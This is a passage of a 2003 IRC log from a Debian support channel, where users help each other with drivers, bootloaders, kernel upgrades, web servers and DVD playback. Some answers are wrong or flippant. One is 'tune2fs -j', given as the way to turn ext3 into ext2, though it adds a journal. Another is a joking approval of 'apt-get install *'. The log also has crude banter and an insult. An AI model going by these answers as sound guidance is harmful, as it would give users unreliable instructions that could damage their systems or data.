| 21:09.38 | muncc2beo | thanks, dpkg |
| 21:09.48 | greycat | muncc2beo: obviously you replace the name with the correct one... |
| 21:09.53 | somiaj | muncc2beo: if all the other steps went ok, that deb file will be in /usr/src |
| 21:10.04 | Starfury^ | greycat, i can paste the original attempt to setup but i would get booted for a flood from main channel |
| 21:10.06 | muncc2beo | greycat: all I have is a .tar.gz called nvidia-kernel |
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| 21:10.17 | greycat | muncc2beo: didn't it tell you to extract it? |
| 21:10.32 | da | i think every program trying to open /dev/dsp is freezing, sndconfig just froze |
| 21:10.34 | Osax | somiaj, used that but it's really outdated!! |
| 21:10.37 | da | trying to play the sample sound |
| 21:10.47 | greycat | da: dmesg is your friend.. |
| 21:10.49 | bizkit | hi, is there a tool i can resize a existing NTFS partition without data loss? |
| 21:10.52 | trans_err | muncc2beo: just use the new installer |
| 21:10.54 | da | dmesg shows me good results |
| 21:10.55 | greycat | bizkit: /msg dpkg ntfs |
| 21:11.28 | muncc2beo | trans_err: ? what new installer? |
| 21:11.30 | somiaj | Osax: but its stable and things work..(:, just a suggestion I give so when you run testing/unstable you have some knowledge experience when things happen to break or dont' work as smoothly as one hopes. |
| 21:11.38 | trans_err | muncc2beo: look on nvidia.com |
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| 21:11.59 | RandomGr | can someone help me with privoxy? |
| 21:12.04 | trans_err | Osax: which lately is suprisingly rare |
| 21:12.08 | trans_err | RandomGr: just ask |
| 21:12.11 | Osax | somiaj, well, arabic isn't supported in woody! |
| 21:12.17 | smj | from |
| 21:12.24 | Osax | trans_err, and that's why i chose sid |
| 21:12.26 | smj | Ooops, wrong screen. |
| 21:12.33 | trans_err | Osax: then go for it |
| 21:12.40 | da | greycat: dmesg states: via82cxxx_audio found bord at 0xd000 irq 11, frequency locked at 48000 |
| 21:12.44 | Osax | trans_err, doing my best :) thanks |
| 21:12.45 | RandomGr | trans generally I can ping this machine from others but I cannot use the proxy on this machine or view pages on the apache on this machine |
| 21:12.48 | somiaj | muncc2beo: read though that README and follow the steps one at a time and it will work. |
| 21:12.56 | muncc2beo | somiaj: ok, I finished the readme |
| 21:13.02 | RandomGr | trans_err: when I run nmap I see the http port open |
| 21:13.10 | trans_err | Osax: i use a netisnt to install a base woody system and then apt-get dist-upgrade |
| 21:13.17 | da | perhaps i should try alsa? |
| 21:13.18 | Starfury^ | greycat, i will wait a week and reupdate they might have fixed it by then |
| 21:13.22 | somiaj | muncc2beo: ok, now go back though it doing the steps in the order it says, if you have questions please ask. |
| 21:13.24 | Starfury^ | greycat, runnign unstable |
| 21:13.39 | Osax | trans_err, done that, but got a really buggy system! |
| 21:14.05 | muncc2beo | somiaj: ok, I finished the readme. Now, what do I have to do to load the modules in the kernel, and X? |
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| 21:14.18 | somiaj | Starfury^: have you checked the bts? |
| 21:14.24 | RandomGr | trans_err: any ideas? also: when I enter 127.0.0.1 I can see my site but when I enter 192.168.1.1 I cannot!!! |
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| 21:14.44 | somiaj | muncc2beo: everything went ok, and you installed that custom deb you made?, then next step is modprobe nvidia |
| 21:15.13 | Starfury^ | somiaj, bts? |
| 21:15.14 | muncc2beo | somiaj: ok, did that |
| 21:15.20 | greycat | somiaj: does he have to "depmod -a"? |
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| 21:15.41 | doub | hi there |
| 21:15.43 | Covener | RandomGr: your /etc/hosts correct? look at your ServerName... or httpd -S and see what IP it spits out |
| 21:15.54 | Covener | RandomGr: sorry, /usr/sbin/apache -S |
| 21:15.56 | somiaj | muncc2beo: no errors, then make the modifications to you /etc/X11/XF86Config-4 file it tells you to and you should then have to startx. |
| 21:15.58 | Osax | bbl |
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| 21:16.03 | somiaj | !bts |
| 21:16.04 | dpkg | extra, extra, read all about it, bts is the Bug Tracking System for Debian packages, http://bugs.debian.org/ or to go directly to the bug page for a particular package, try http://bugs.debian.org/packagename or anyone running unstable who's unable to check the BTS should be shot on sight. apt-get install reportbug, and check out querybts, too |
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| 21:16.18 | ElNooboStupido | good morinign |
| 21:16.28 | JoePenguin | ElNooboStupido: buenos dias |
| 21:16.45 | streuner | Sat Dec 27 22:16:41 CET 2003 |
| 21:16.53 | ElNooboStupido | if people are having black screen of death problem on the NVIDIA driver - try putting Option "NvAGP "1" in their settings |
| 21:17.07 | ElNooboStupido | in the videocard part of /etc/X11/XF96Config |
| 21:17.09 | RandomGr | it doesn't spit any IP |
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| 21:17.22 | muncc2beo | somiaj: ok, let me restart X, and I'll see if it works |
| 21:17.24 | Covener | RandomGr: well the specification of what it is listening on. |
| 21:17.51 | RandomGr | Processing config directory: /etc/apache/conf.d |
| 21:17.51 | RandomGr | VirtualHost configuration: |
| 21:17.51 | RandomGr | <PROTECTED> |
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| 21:19.06 | dave_ | my kernel image upgrade to 2.4 was unsuccessful, I am getting good at install debian |
| 21:19.29 | dave_ | the box will not boot after the image is installed, it keeps asking about lilo.conf? |
| 21:20.05 | streuner | custom kernel? |
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| 21:20.43 | dave_ | apt-get kernel-image 2.4.18 |
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| 21:21.01 | greycat | dave_: apt-get install ... |
| 21:21.18 | Kraig | lol |
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| 21:21.35 | FlyHigh6666 | Hi |
| 21:21.49 | dave_ | yes, i mean apt-get install ..., it goes through the install but will not successful boot afterwards |
| 21:21.49 | FlyHigh6666 | have a problem may somebody can help ?? |
| 21:22.08 | greycat | dave_: you didn't follow the instructions concerning the initrd image |
| 21:22.15 | JoePenguin | FlyHigh6666: nobody can help you if you don't tell us what the problem is |
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| 21:22.50 | dave_ | i edited the lilo.conf under the vmlinuz section |
| 21:23.05 | RandomGr | how can I configure privoxy to listen to other machines too? |
| 21:23.16 | muncc2beo | somiaj: ok, the drivers worked, thanks a lot! |
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| 21:23.18 | FlyHigh6666 | i have installed apache, mysql and phpmyadmin, if i call phpmyadmin with: http://localhos/phpmyadmin the error unknown host pc-peter-2 apears |
| 21:23.23 | streuner | dave_: did you run 'lilo -v' and what errors you got? |
| 21:23.36 | somiaj | muncc2beo: your welcome, but thank the people who took time to make that README...(: |
| 21:23.55 | FlyHigh6666 | but in the etc/hosts is pc-peter-2 bound to 192.168.0.2 |
| 21:23.59 | aldric | hi, anyone else having a problem with apache-ssl in sarge? I have it segfaulting on the weekly cron job on restart :( |
| 21:24.03 | doub | i'm having trouble upgrading foomatic-filters from sid : debconf has noticed i already have a conf file, and displays the usual replace/keep prompt, but as it sometimes happen, it's impossible to input anything. anyone know what's wrong ? |
| 21:24.26 | quant | i get errors about a missing config file when i apt-get remove courier-imap-ssl... it wont do it, it errors each time. what might be wrong? how can i fix it? |
| 21:24.28 | muncc2beo | The reason I installed the drivers was to improve the DVD playback quality - the DVD would pause for about 3 seconds - the sound would stop, and the picture would freeze. The Nvidia kernel helped correct that some, but it still happens. Any ideas on how to correct that? |
| 21:24.41 | doub | tried figuring out with strace, but seems like stdin is not diverted |
| 21:24.54 | somiaj | aldric: I belive that problem is more the pearl-mod, and the fact that sarge pearl is broken. |
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| 21:25.16 | cassiopea | I need some help, plz, I've compiled my own kernel (2.4.22) with v4l and bttv support compiled as modules, when I try to modprobe bttv, it complains "init_module: no such device", can anybody help? |
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| 21:25.25 | dave_ | streuner - i am installing the kernel source again, i will run he lilo -v upon completion |
| 21:25.26 | aldric | somiaj: ah, that helps - there were some perl upgrades during the week - I'll look more, thanks |
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| 21:25.53 | streuner | dave_: just run lilo -v and see what error you get |
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| 21:25.54 | somiaj | muncc2beo: what dvd player? |
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| 21:26.00 | FlyHigh6666 | a ping to pc-peter-2 is no problem |
| 21:26.01 | alem | anyone knows where can i download apache documentation ? |
| 21:26.02 | drh | thanx mister |
| 21:26.12 | tarzeau | alem: apt-cache search ^apache |
| 21:26.15 | alem | on www.apache.org you can only view it |
| 21:26.26 | streuner | alem: www.apache.org or/and /usr/share/doc/apache? |
| 21:26.32 | tarzeau | alem: debian has -doc packages |
| 21:26.48 | muncc2beo | somiaj: an LG something... let me check |
| 21:26.59 | alem | why are debian security packages so outdated ? |
| 21:27.06 | tarzeau | alem: they aren't |
| 21:27.29 | dave_ | lilo -v no error's, but it is set for vmlinux-2.2.19 |
| 21:27.36 | alem | well how come the latest version it downloads is 3.4p1 ? |
| 21:27.43 | streuner | dave_: man lilo.conf |
| 21:27.47 | alem | and the latest kernel it getrs is 2.4.18 |
| 21:28.00 | tarzeau | alem: i have unstable |
| 21:28.08 | tarzeau | alem: look debian supports 11 architectures |
| 21:28.15 | tarzeau | alem: you can stop complaining and send in patches |
| 21:28.19 | somiaj | muncc2beo: I don't mean hardware, but softwear, what video player are you using to watch DVD's |
| 21:28.25 | Mave | tarzeau: uhm no need for excuses :> |
| 21:28.28 | tarzeau | alem: bugs.debian.org is a good place to start |
| 21:28.38 | dave_ | add initrd=/initrd.img to lilo.conf |
| 21:28.40 | alem | tarzeau: ok so where can i get the latest, if not from security.debian.org ? |
| 21:28.53 | tarzeau | alem: the latest is not the most secure |
| 21:28.53 | muncc2beo | somiaj: ogle atm, but I'm thinking of using mplayer instead |
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| 21:29.00 | tarzeau | alem: you can go to sid |
| 21:29.10 | streuner | dave_: add the full path in lilo.conf initrd=/boot/blah.img |
| 21:29.10 | greycat | ~tell alem about security faq |
| 21:29.11 | jetx | how the heck do you change the timestamp on a file |
| 21:29.13 | tarzeau | alem: and even add experimental to it, but then you can stop whining |
| 21:29.14 | greycat | !tell alem about security faq |
| 21:29.20 | Mave | alem: version numbers are meaningful only for stock sources. debian project backports security updates so those version numbers doesn't give you a clue |
| 21:29.22 | tarzeau | jetx: using touch |
| 21:29.28 | jetx | thx |
| 21:29.28 | greycat | alem: zless /usr/share/doc/ssh/changelog.Debian.gz |
| 21:29.31 | tarzeau | jetx: which timestamp, there's 3 |
| 21:29.37 | somiaj | muncc2beo: I use mplayer (but don't like their blanket hatred of debian) and it works fine, never messed with oggle, but if you mention that your using that you may get better help. |
| 21:29.39 | Deimos_ | Hello, how can I mount a extented partition, I can mount the primary one, but not the extended one... its type is W95 Ext'd (LBA). thx |
| 21:29.44 | jetx | the time of file creation |
| 21:29.50 | streuner | jetscreamer! |
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| 21:29.55 | tarzeau | Deimos_: mount /dev/hda5 /mnt ? |
| 21:29.57 | muncc2beo | maybe xine, too, somiaj |
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| 21:30.01 | jetx | streuner &*(^&%%&^ |
| 21:30.03 | nk_root66 | hm... a game says suddenlty "Initializing OpenGLDrv...binding libGL.so.1 appError called: Could not load OpenGL library" after upgrading from woody to sarge... any suggestions? dunno even which log I should look at... |
| 21:30.05 | greycat | Deimos_: you mount the logical partitions that are inside the extended partition. |
| 21:30.12 | greycat | Deimos_: e.g. mount -t vfat /dev/hda5 /mnt |
| 21:30.13 | streuner | jetx: :-) |
| 21:30.45 | Deimos_ | greycat : thank you |
| 21:30.50 | somiaj | muncc2beo: yup, my suggestion if you can't get help with oggle, is maybe try another dvd viewer to see if its the player that's causing the problems. |
| 21:30.54 | Deimos_ | tarzeau : thx it worked :) |
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| 21:31.19 | tarzeau | carmen: hi |
| 21:31.20 | muncc2beo | somiaj: I'll try xine in a second |
| 21:31.40 | jetx | my /lib/modules/2.4.22-1-1k/modules.dep is older than /etc/modules.conf something resets it, i made the timestamp >, but something changed it back. so i get that error msg spammed in console on boot |
| 21:31.52 | dave_ | lilo -v gives 'Fatal: open /initrd.img: no such file or dir' |
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| 21:31.57 | aldric | somiaj: thank you, it was mod_perl, commenting it out gets apache to start again which will do for the moment. |
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| 21:32.15 | jetx | dave look in /boot for initrd.img-2.x-blah |
| 21:32.23 | streuner | dave_: compare it, ls -l *.img |
| 21:32.26 | Lar3 | where can I get the woody backport of xfree86 4.3 |
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| 21:32.33 | smj | Is it possible to upgrade the entire system from one debian release to another using apt-get? |
| 21:32.33 | dave_ | more lilo.confcd /boot |
| 21:32.35 | jetx | initrd.img-"uname -r" |
| 21:32.37 | tarzeau | Lar3: there is one? |
| 21:32.39 | satanik | hi all |
| 21:32.40 | greycat | smj: yes, /msg dpkg stable->testing |
| 21:32.41 | somiaj | aldric: other solutions I have seen is usign the older version of perl, cause I belive that is where the break is if you check the bts |
| 21:32.43 | Kraig | update-mod.utiles |
| 21:32.45 | Kraig | update-mod.utils |
| 21:32.46 | Lar3 | peoplo.debian.org does not work anymore |
| 21:32.47 | streuner | Lar3: /msg dpkg xf4.3 debs |
| 21:32.48 | smj | greycat: Thanks. |
| 21:32.59 | greycat | Lar3: www.apt-get.org also |
| 21:33.07 | jetx | update-mod.utiles ? |
| 21:33.26 | aldric | somiaj: yes, I'll do that, just a lot of packages were upgraded at that time. Starting to look at them all |
| 21:33.29 | satanik | i cant use apt-get because when i use apt-get -f during install it bug |
| 21:33.34 | smj | greycat: dpkg likes pouring hot grits down peoples' pants? |
| 21:33.42 | somiaj | greycat: I belive all the sources on apt-get are broken and haven't been put back up for x4.3. |
| 21:33.53 | jetx | !pour hot grit down smj's pants |
| 21:33.58 | jetx | :( |
| 21:34.12 | jetx | experimental worked for me last night |
| 21:34.13 | nk_root66 | hey hoh... noone can help me with my opengl problem? |
| 21:34.20 | tarzeau | jetx: hahahahhahaaha |
| 21:34.30 | jetx | this is another install |
| 21:34.30 | tarzeau | jetx: stop making me laugh light that, i have a faint heart |
| 21:34.31 | jetx | :( |
| 21:34.33 | alem | so is it better to use security.debian.org or download latest from source ? |
| 21:34.37 | Lar3 | last time i tried the whole site was down because compromised server |
| 21:34.39 | cassiopea | Anyone at all? |
| 21:34.48 | mage_ | \o/ |
| 21:34.50 | mage_ | <PROTECTED> |
| 21:34.51 | mage_ | / \ |
| 21:34.55 | somiaj | nk_root66: try glxgears and glxinfo and nvinfo and check you Xlog to make sure the gl stuff loaded correctly. |
| 21:34.56 | jetx | apt was screwed up in experimental though |
| 21:34.58 | | jetx: KCI error, or a problem with the Keyboard-Chair Interface. |
| 21:35.11 | jetx | !lart apt |
| 21:35.15 | tarzeau | jetx: did you read the disclaimer? |
| 21:35.15 | Toolah | I am getting an error during my install with Dynamic NMap running out of room on the mergelist. Google took me to bug#166758 which tells me I have too many source.list entries, but I only have 2 lines! I am in the middle of the installer - how do I proceed? |
| 21:35.18 | tarzeau | apt eat jetx |
| 21:35.25 | | ACTION eats jetx and falls over dead |
| 21:35.25 | nk_root66 | somiaj: thx, this is a start... |
| 21:35.26 | jetx | ~apt |
| 21:35.28 | | methinks apt is another blootbot which has a larger database and is much more bloated, but which is also quite sweet. |
| 21:35.34 | oskie | greycat: kudos to you for putting DeCSS and other controversal stuff on your page... it inspires me to do the same |
| 21:35.46 | Lar3 | I am not interested to compile. I rather use precompiled things |
| 21:35.53 | tarzeau | oskie: me too! |
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| 21:36.02 | tarzeau | oskie: url? |
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| 21:36.22 | smj | So, this is what everyone complains about when they try to run X-Chat on Windoze. Wow... |
| 21:36.25 | exobyte | what would be the best way for me to get a recent version of wine? I running on a stable system if that helps |
| 21:36.30 | greycat | Toolah: /msg dpkg dynamic mmap |
| 21:36.37 | somiaj | Lar3: I recall someone a week or so looking for x4.3 backports and couldn't find any cause whoever made them hadn't gotten the sources back up after the debian compermise. |
| 21:36.42 | jetx | apt-get install wine maybe |
| 21:36.42 | tarzeau | exobyte: get to testing or unstable |
| 21:36.51 | jetx | unless wine isn't in woody eh |
| 21:36.51 | kzar | greycat and simon and people, the kernel upgrade sorted the silly keyboard map thing :) + didnt trash my install . Thanks for the help :) |
| 21:36.58 | tarzeau | oskie: i've got xawdecode and the debian font, if you need them |
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| 21:37.15 | oskie | tarzeau: hehe you have DeCSS on your page too? i haven't put it on my page yet though... been having some troubles with ISP (the university).. been thinking about getting one of those cheap $1/month ISPs |
| 21:37.18 | exobyte | tarzeau: how would I safely add those to sources.list? |
| 21:37.20 | somiaj | exobyte: if you want more recent than the one in woody, check apt-get.org and backports.org and see if you can find any backports, if not you may have to compile it yourself. |
| 21:37.21 | tarzeau | oskie: not yet, but i want it |
| 21:37.25 | nk_root66 | somiaj: well... glxgears and glxinfo are executable and seem to output the correct stuff. in the x-log I see a line like "(II) [GLX]: Initializing GLX extension |
| 21:37.25 | nk_root66 | AUDIT: Sat Dec 27 14:42:56 2003: 394 X: client 1 rejected from local host Auth name: XDM-AUTHORIZATION-1 ID: -1" is it a failure? |
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| 21:37.37 | tarzeau | exobyte: telnet linuks.mine.nu |
| 21:37.40 | jetx | failure to auth. |
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| 21:37.43 | greycat | tarzeau: mine's probably horribly out of date and useless for "real world" use |
| 21:37.54 | tarzeau | greycat: where would i get an actual one? |
| 21:38.04 | oskie | tarzeau: you run your site on your DSL connection, right? |
| 21:38.04 | greycat | tarzeau: google? :) |
| 21:38.13 | muncc2beo | somiaj: the quality is worse in xine. |
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| 21:38.22 | tarzeau | greycat: noooo i hate it, i can't distinguish between the silly thing and the real usable thing |
| 21:38.25 | baco | hey, I tried installing alsa 1.0.0.rc2 on my debian, but "modprobe snd-via82xx" (that's my sound card) fails with ".../snd.o: invalid parameter parm_snd_major". I have "options snd snd_major=116" in my modules.conf. Is there something I'm missing, or should I rather be sticking to alsa 0.9? |
| 21:38.28 | tarzeau | oskie: cablemodem, yes |
| 21:38.34 | oskie | tarzeau: ah |
| 21:38.36 | tarzeau | oskie: and i don't have a fixed ip! |
| 21:38.42 | carlos | debian en espa?ol?? |
| 21:38.44 | tarzeau | oskie: www.linuks.mine.nu/cablecom-petition/ |
| 21:38.48 | jetx | ok diff tack. |
| 21:39.03 | jetx | what causes modules.dep to be overwritten? |
| 21:39.04 | tarzeau | oskie: the network is full of SPAM and shit www.linuks.mine.nu/cablecom/ |
| 21:39.11 | Lar3 | The version of xfree86 which comes with woody does not work with intel 845g display adapter |
| 21:39.18 | oskie | tarzeau: ah ok .. but cable is than DSL, I don't cable has any problems with upstream data bogging down downstream as DSL do (if you live far away from the station) |
| 21:39.19 | somiaj | nk_root66: hmm, dont' know what to say, was just giving you pointers of where to start, it glxgears works but the game doesn't it might have something to do with primisions or the games config |
| 21:39.19 | tarzeau | oskie: i've got a 2000/400 line now |
| 21:39.23 | jetx | what overwrites it, and where did yit get it's backup copy of the file |
| 21:39.29 | carlos | cual es el canal en espa?ol? |
| 21:39.35 | oskie | tarzeau: ok, it's fast though, your website |
| 21:39.41 | streuner | !spanish |
| 21:39.41 | dpkg | Hispanohablantes: Por favor usen #debian-es, alli obtendran mas ayuda. Spanish speakers: please go to #debian-es, you will get a lot more help there. |
| 21:39.43 | jetx | carlos, #debian-es |
| 21:39.50 | Osax | hi, any one installed sid before? just need to know what to do at the shell prompt |
| 21:39.54 | carlos | thanks |
| 21:39.56 | jetx | se habla espanol ayar |
| 21:39.57 | tarzeau | oskie: i odn't use PHP :) |
| 21:40.03 | nk_root66 | somiaj: I'll re-install the game... maybe this succeeds... |
| 21:40.05 | oskie | tarzeau: hehe |
| 21:40.05 | Kraig | bueno bueno a #debian-es |
| 21:40.10 | Lar3 | or do you have some other suggestions instead installing newer xfree? |
| 21:40.15 | tarzeau | Osax: http://apt-get.mine.nu/ |
| 21:40.21 | somiaj | muncc2beo: well you could try mplayer, to get debs you'll have to look at apt-get.org or mplayer's source is fairly easy to compile into a custom .deb. |
| 21:40.32 | oskie | lesbian.mine.nu? haha |
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| 21:40.33 | muncc2beo | yeah, I could do that |
| 21:40.50 | tarzeau | oskie: it has got a shop now, www.cafeshops.com/lesbianlinux/ |
| 21:41.01 | Osax | tarzeau, huh? |
| 21:41.02 | tarzeau | oskie: and seriously one guy from italy bought a t-shirt... |
| 21:41.15 | oskie | tarzeau: haha, amazing.. |
| 21:41.15 | tarzeau | Osax: huh? |
| 21:41.16 | somiaj | Lar3: you can get crapy support with 'vesa' for the time being, and just wait till a backport gets put up somewhere. |
| 21:41.20 | streuner | tarzeau: how many domains do you have? |
| 21:41.26 | Osax | tarzeau, i can't see any help there! :) |
| 21:41.28 | tarzeau | streuner: www.pussy.mine.nu :) |
| 21:41.32 | tarzeau | streuner: she.kicks-ass.org |
| 21:41.35 | tarzeau | streuner: a bunch :) |
| 21:41.55 | tarzeau | Osax: i can |
| 21:42.01 | streuner | tarzeau: now i see who has stolen the good onces :-) |
| 21:42.04 | jetx | and it was such a nice nstall too |
| 21:42.07 | tarzeau | streuner: hahah :) |
| 21:42.08 | carlos | necesito ayuda para instalar amsn |
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| 21:42.18 | Kraig | carlos apt-get install ams |
| 21:42.20 | Kraig | carlos apt-get install amsn |
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| 21:42.27 | Osax | tarzeau, so what to do, i have the first .iso of sid created by jidgo |
| 21:42.33 | jetx | uso debian cd#1 y ponga bf24 en el boot prompt |
| 21:42.34 | javex | what is the best quality/price/linux supported available webcam ? |
| 21:42.37 | tarzeau | Osax: well that was not good! |
| 21:42.41 | jetx | or however you say that |
| 21:42.44 | carlos | me dice depends docker |
| 21:42.47 | asuffield | javex: webcams are shit by definition |
| 21:42.48 | tarzeau | Osax: always get stable stuff on cd, then upgrade to sid over the network |
| 21:42.56 | jetx | buena suerta |
| 21:42.57 | jetx | e |
| 21:43.10 | Lar3 | somiaj: I think I am not in a rush, so I can wait. Thank you. |
| 21:43.16 | Toolah | greycat, Thank you! |
| 21:43.37 | Kraig | what does depends docker means when you want to install something? |
| 21:43.39 | Osax | tarzeau, hmm.. maybe that's what i did wrong.. :( wasted my whole day |
| 21:43.41 | Lar3 | somiaj: the shell things are anyway faster and simpler =) |
| 21:43.53 | Mave | asuffield: latest cdrdao package doesn't work in ATAPI mode if DMA is enabled for me.. |
| 21:43.58 | tarzeau | Osax: i bet you'll do it right the next time (ask/think before do) |
| 21:44.10 | asuffield | javex: a "webcam" is a small, cheap, nasty video camera with a low resolution and framerate. that's what the word means |
| 21:44.20 | Osax | tarzeau, i asked some friend and he told me this |
| 21:44.24 | asuffield | Mave: <shrug> almost certainly a kernel issue |
| 21:44.29 | Osax | tarzeau, maybe i misunderstood :) thanks anyway |
| 21:44.38 | tarzeau | Osax: will you see that guy again? |
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| 21:45.26 | Osax | tarzeau, yep |
| 21:45.36 | Mave | asuffield: does that mean cdrecord shouldn't work either ? |
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| 21:45.46 | muncc2beo | somiaj: is there a way to increase the buffer or something? |
| 21:45.56 | asuffield | Mave: no |
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| 21:46.06 | asuffield | Mave: they don't do the same thing |
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| 21:46.17 | dave_ | ok, lilo -v yields "map ram disk /initrd.img -> boot/initrd.img-2.4.18-k7, am I ok to boot? |
| 21:46.22 | Mave | asuffield: should I file this as a bug report ? |
| 21:46.30 | RandomGr | done with privoxy :))) |
| 21:46.36 | asuffield | why bother? can't do anything about it |
| 21:47.07 | streuner | dave_: did you get *2* entries (kernel) with no errors? then yes. |
| 21:47.18 | asuffield | CD writing issues are invariably hardware specific |
| 21:47.30 | Osax | tarzeau, thanks again, going to get the testing img and try again... |
| 21:47.37 | Osax | later... |
| 21:47.39 | tarzeau | Osax: you have learnt nothing |
| 21:47.43 | tarzeau | Osax: WAIT! |
| 21:47.44 | Mave | asuffield: ok I see. but it was working with scsi emu |
| 21:47.48 | Osax | tarzeau, yes? |
| 21:47.51 | javex | asuffield: that's not the point |
| 21:47.52 | tarzeau | Osax: i said get stable, then ugprade to wahtever you want |
| 21:47.56 | tarzeau | Osax: testing is not stable |
| 21:48.02 | javex | .. |
| 21:48.06 | asuffield | Mave: which means it's probably a kernel issue |
| 21:48.08 | tarzeau | Osax: stable is stable, and testing is testing |
| 21:48.14 | RichiH | what file system does a video dvd have? |
| 21:48.14 | Covener | mave: this is with data, not audio, right? |
| 21:48.15 | tarzeau | Osax: now what are you going to do? |
| 21:48.19 | greycat | RichiH: usually UDF |
| 21:48.20 | Osax | tarzeau, :) |
| 21:48.27 | Mave | asuffield: then I should tell the problem to kernel developers. thanks for the info |
| 21:48.28 | Osax | tarzeau, get stable and start from it |
| 21:48.33 | tarzeau | Osax: smart! |
| 21:48.40 | Osax | tarzeau, change the /etc/apt/sources.list to sid |
| 21:48.45 | Covener | RichiH: dvd-video is iso9660 |
| 21:48.47 | Osax | tarzeau, then apt-get install * |
| 21:48.53 | Mave | Covener: yes, data |
| 21:48.56 | Osax | tarzeau, right :P? |
| 21:49.00 | tarzeau | Osax: perfect! |
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| 21:49.30 | Osax | tarzeau, happy new year :) |
| 21:49.30 | RichiH | greycat: hmm, it refuses to mount with either udf or iso9660 :/ - i have more than one video files on that dvd and mplayer ust plays the first, which is, hmm, bad as it is the "do not copy" disclaimer |
| 21:49.36 | tarzeau | Osax: haha, thanks same to you! |
| 21:49.40 | Osax | tarzeau, Ossama Khayat - Arabeyes.org |
| 21:49.53 | Osax | tarzeau, greetings.. bye |
| 21:49.55 | tarzeau | Osax: you're from arabeyes? wait what |
| 21:49.57 | tarzeau | Osax: WAIT |
| 21:50.03 | tarzeau | Osax: what country do you live in? |
| 21:50.06 | Osax | tarzeau, hehe.. why are you SSHOUING :) |
| 21:50.09 | Osax | tarzeau, kuwait |
| 21:50.11 | Covener | RichiH: richi you can't choose a diff title like dvd://2 ? |
| 21:50.17 | greycat | RichiH: mplayer dvd://2 or something like that |
| 21:50.20 | tarzeau | Osax: hey great! you know www.debian.org/CD/vendors/ ? |
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| 21:50.40 | Covener | RichiH: on commercial dvd's usually title 1 is the main feature, there will be debugs telling you how many titles exist |
| 21:50.41 | Osax | tarzeau, just heard of it, any help? |
| 21:50.47 | tarzeau | Osax: would you mind selling debian cd's in kuwait, if i did the homepage for you? |
| 21:51.07 | tarzeau | Osax: you could get an entry in http://www.debian.org/CD/vendors/ AND debian would be easier to get in your area |
| 21:51.10 | Osax | tarzeau, I'd be glad to |
| 21:51.30 | tarzeau | Osax: ok look at www.linuks.mine.nu/debian-cd-turkey/ |
| 21:51.45 | tarzeau | Osax: make such a page and send it to me, i'll put it up on debian-cd-kuwait |
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| 21:51.56 | tarzeau | Osax: gurkan@linuks.mine.nu |
| 21:52.14 | tarzeau | you can base the page on http://www.linuks.mine.nu/debian-cd-armenia/ too |
| 21:52.17 | RichiH | greycat, Covener: it tells me it "can't open VMG info" |
| 21:52.24 | RichiH | with dvd://1, too |
| 21:52.32 | Osax | tarzeau, no worries.. want it in Arabic too? |
| 21:52.38 | tarzeau | Osax: YES! |
| 21:52.45 | tarzeau | Osax: of course in your regions main language |
| 21:52.50 | Kraig | what is defoma? |
| 21:52.50 | Covener | RichiH: never seen that message -- what's your full command line? |
| 21:52.53 | tarzeau | Osax: WAIT |
| 21:53.10 | Osax | tarzeau, relax.. i'm here :) |
| 21:53.10 | tarzeau | Osax: could you also help translate debian to arabic language? |
| 21:53.20 | tarzeau | Osax: debian really needs help with translations |
| 21:53.26 | Osax | tarzeau, we're planning that on Arabeyes.org |
| 21:53.32 | Osax | tarzeau, sure, don't worry |
| 21:53.36 | tarzeau | Osax: ahh are you in that #arabeyes channel too? |
| 21:53.37 | asuffield | debian's support for bidi languages is... erm... limited |
| 21:53.38 | RichiH | mplayer dvd://1 - where /dev/dvd links to cd which links to sr0 |
| 21:53.47 | Osax | you can mail developer@arabeyes.org after you subscribe or general@arabeyes.org |
| 21:53.48 | Osax | yes |
| 21:53.49 | Deimos_ | debian in arabic :) |
| 21:53.57 | RandomGr | You don't need to make a sound while your five good neurons crank out the next malformed sentence from your cretaceous skull, numb nuts. |
| 21:54.00 | RandomGr | LOOOOOOOOOOOOL |
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| 21:54.00 | Deimos_ | good idea ppl |
| 21:54.00 | Covener | RichiH: and it's a commercial dvd in there? |
| 21:54.05 | RichiH | yep |
| 21:54.19 | RichiH | normal rent-a-video dvd |
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| 21:54.43 | tarzeau | asuffield: who is working on it? |
| 21:55.00 | Mave | asuffield: which packages are responsible for that support generally ? |
| 21:55.15 | Covener | RichiH: and that's the first cautionary msg you see? |
| 21:55.18 | alem | does debians bind9 keep all the zone files in /etc/bind ?mc |
| 21:55.18 | asuffield | tarzeau: I haven't noticed anybody trying |
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| 21:55.21 | tarzeau | Mave: x or console? |
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| 21:55.32 | Mave | tarzeau: both |
| 21:55.34 | tarzeau | Mave: there's one thing with the font, another with inputting it |
| 21:55.44 | cafuego | alem: it keeps them where you tell it to keep them |
| 21:55.50 | asuffield | bidi languages are a pain in the arse. most stuff supports i18n now, but not bidi |
| 21:55.51 | Mave | tarzeau: aren't GNU and Xfree i18n solved those problems ? |
| 21:55.51 | da | when was the ext3 filesystem introduced? |
| 21:55.53 | RichiH | libdvdread: Can't open file VIDEO_TS.IFO. |
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| 21:56.01 | alem | i just installed it |
| 21:56.01 | da | does 2.4.0 kernel support ext3 rather? |
| 21:56.11 | tarzeau | Mave: i don't know |
| 21:56.16 | alem | but i see them all there, along with the named.conf |
| 21:56.19 | tarzeau | Mave: i don't know arabic |
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| 21:56.28 | Mave | tarzeau: I guess :) |
| 21:56.33 | tarzeau | Mave: i'm only trying to help on the turkish translations, not the rest |
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| 21:56.45 | tarzeau | Mave: and you too could help! if you weren't that lazy! |
| 21:56.58 | Mave | tarzeau : there was a linux distro for arab users. haydar linux |
| 21:57.29 | Mave | tarzeau: I've made some contrib. and I will start a new one next week for the d-i |
| 21:57.35 | Mave | tarzeau: after my midterms |
| 21:57.37 | cafuego | alem: I keep mine in /var/lib/named, if you want to move yours, just change 'options { directory "/var/lib/named"; };' in your named.conf |
| 21:57.41 | tarzeau | Mave: coordinating it with osman ? |
| 21:57.57 | Mave | tarzeau: we will do on the list |
| 21:58.02 | tarzeau | Mave: tell me in #debian.tr when you do, so i'll add you to the list |
| 21:58.07 | tarzeau | Mave: ah ok |
| 21:58.13 | cafuego | da: No, 2.4.19 and up. |
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| 21:58.47 | RichiH | Covener: libdvdread: Can't open file VIDEO_TS.IFO. |
| 21:58.58 | da | cafuego: any way to convert from ext3 to ext2 without damaging files? |
| 21:59.11 | cafuego | da: Yes, tune2fs -j /dev/hdX |
| 21:59.13 | Covener | RichiH: you build mplayer yourself? |
| 21:59.16 | Mave | tarzeau: I'm the translator of intro/free. did you like it :9 |
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| 21:59.43 | tarzeau | Mave: i think you've told me once, but it's quite some time back, isn't it? |
| 21:59.43 | da | cafuego: thats all the options i need to pass? |
